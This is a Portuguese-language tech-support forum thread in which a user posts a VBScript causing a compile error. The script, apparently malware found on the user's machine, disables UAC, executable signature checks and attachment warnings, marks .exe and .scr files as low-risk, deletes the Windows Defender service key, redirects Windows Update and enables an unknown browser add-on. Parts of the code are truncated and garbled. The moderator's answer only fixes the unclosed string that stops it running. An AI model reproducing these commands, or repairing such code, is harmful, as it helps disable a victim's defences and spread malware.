none
Problema com Script - Sequencia não finalizada RRS feed

  • Pergunta

  • Linha: 12
    Caract.: 17
    Erro: Constante de sequencia não finalizada
    Código:800A409
    Origem: Erro de complicação do Microsoft VBScript

    SISTEMA OPERACIONAL: w7 HOME BASIC

    me ajudem gente por favor ><



    terça-feira, 17 de julho de 2012 14:32

Respostas

  • Vi que está faltando um pedaço do script mas não faz mau, o erro como já indicado está na linha 12:

    strLogFile = "st

    Veja que está faltando fechar as aspas na string, a linha deveria ser assim:

    strLogFile = "st"


    Fábio de Paula Junior


    quarta-feira, 18 de julho de 2012 00:57
    Moderador

Todas as Respostas

  • João,

    Como este erro ocorreu? Você estava executando um script, um programa?

    Você tem o código do Script? Mande o código.


    Fábio de Paula Junior


    terça-feira, 17 de julho de 2012 16:01
    Moderador
  • Como Fábio falou, coloque seu script ai e o que ele faz...

    Meu Blog: http://howtoserver.com Minhas Ceritificações: 73-642,73-640

    terça-feira, 17 de julho de 2012 16:47
  • cara o unico script que tenho e esse ;D

    On Error Resume Next


    Dim objWShell, objLogFile
    Dim caraix
    Set caraix = WSe
    Set objWShell = WSe
    getVersionNumber = oge
    getOsType = oge
    getProductName = oge

    strLogFile = "st


       If (InStr(getProductName, "7") <> 0) Or (InStr(getProductName, "Vista") <> 0) Then

          If WScript.Arguments.length = 0  
            Set objWShell = C  
            objWShell.ShellExecute "wscript.exe", Chr(34) & _
            WScript.ScriptFullName & Chr(34) & " uac", "", "runas", 1
          else
          Set filetxt = c  
          filetxt.Close
          End If  


          
          objWShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA", 0, "REG_DWORD"
          objWShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin", 0, "REG_DWORD"
          objWShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop", 0, "REG_DWORD"
          objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download\CheckExeSignatures", "no"
          objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download\RunInvalidSignatures", "00000001"
          objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments\SaveZoneInformation", "00000001"
          objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Associations\LowRiskFileTypes", ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;.scr;"
          objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 1, "REG_DWORD"
          objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 0, "REG_DWORD"

          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\WUServer", cstrSUSServerURL, "REG_SZ"
          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\WUStatusServer", cstrSUSServerURL, "REG_SZ"
          objWShell.Regdelete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\WinDefend"
     
           '// enter the registry keys specifying the update method and options
          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoRebootWithLoggedOnUsers", 1, "REG_DWORD"
          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\UseWUServer", 1, "REG_DWORD"
          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\RescheduleWaitTime", 1, "REG_DWORD"
          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoUpdate", 1, "REG_DWORD"
          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\AUOptions", 5, "REG_DWORD"

          '// enter the registry key for specifyig the day and time of day when service checks for updates
          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\ScheduledInstallDay", 7, "REG_DWORD"
          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\ScheduledInstallTime", 7, "REG_DWORD"


    objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\DisableAddonLoadTimePerformanceNotifications", 1, "REG_DWORD"
    objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\RestrictToList", 0, "REG_DWORD"
    objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID\{186629C7-CBEE-4C66-841F-ECB08442032F}", "1"

    objWShell.RegWrite "HKEY_CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\DisableAddonLoadTimePerformanceNotifications", 1, "REG_DWORD"
    objWShell.RegWrite "HKEY_CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\RestrictToList", 0, REG_DWORD
    objWShell.RegWrite "HKEY_CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID\{186629C7-CBEE-4C66-841F-ECB08442032F}", "1"


       Else
          objWShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin", 0, "REG_DWORD"
          objWShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop", 0, "REG_DWORD"
          objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download\CheckExeSignatures", "no"
          objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download\RunInvalidSignatures", "00000001"
          objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Attachments\SaveZoneInformation", "00000001"
          objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Associations\LowRiskFileTypes", ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;.scr;"
          objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 1, REG_DWORD
          objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 0, REG_DWORD

          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\WUServer", cstrSUSServerURL, "REG_SZ"
          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\WUStatusServer", cstrSUSServerURL, "REG_SZ"
          objWShell.Regdelete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\WinDefend"

     
          '// enter the registry keys specifying the update method and options
          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoRebootWithLoggedOnUsers", 1, "REG_DWORD"
          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\UseWUServer", 1, "REG_DWORD"
          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\RescheduleWaitTime", 1, "REG_DWORD"
          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoUpdate", 1, "REG_DWORD"
          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\AUOptions", 5, "REG_DWORD"

          '// enter the registry key for specifyig the day and time of day when service checks for updates
          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\ScheduledInstallDay", 7, "REG_DWORD"
          objWShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\ScheduledInstallTime", 7, "REG_DWORD"

    objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\DisableAddonLoadTimePerformanceNotifications", 1, "REG_DWORD"
    objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\RestrictToList", 0, "REG_DWORD"
    objWShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID\{186629C7-CBEE-4C66-841F-ECB08442032F}", "1"

    objWShell.RegWrite "HKEY_CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\DisableAddonLoadTimePerformanceNotifications", 1, "REG_DWORD"
    objWShell.RegWrite "HKEY_CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\RestrictToList", 0, REG_DWORD
    objWShell.RegWrite "HKEY_CURRENT_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID\{186629C7-CBEE-4C66-841F-ECB08442032F}", "1"

    Set filetxt = cSe
    filetxt.Close

       End If

          WScript.Quit
       



    Set objWShell = NSe

    terça-feira, 17 de julho de 2012 22:24
  • Vi que está faltando um pedaço do script mas não faz mau, o erro como já indicado está na linha 12:

    strLogFile = "st

    Veja que está faltando fechar as aspas na string, a linha deveria ser assim:

    strLogFile = "st"


    Fábio de Paula Junior


    quarta-feira, 18 de julho de 2012 00:57
    Moderador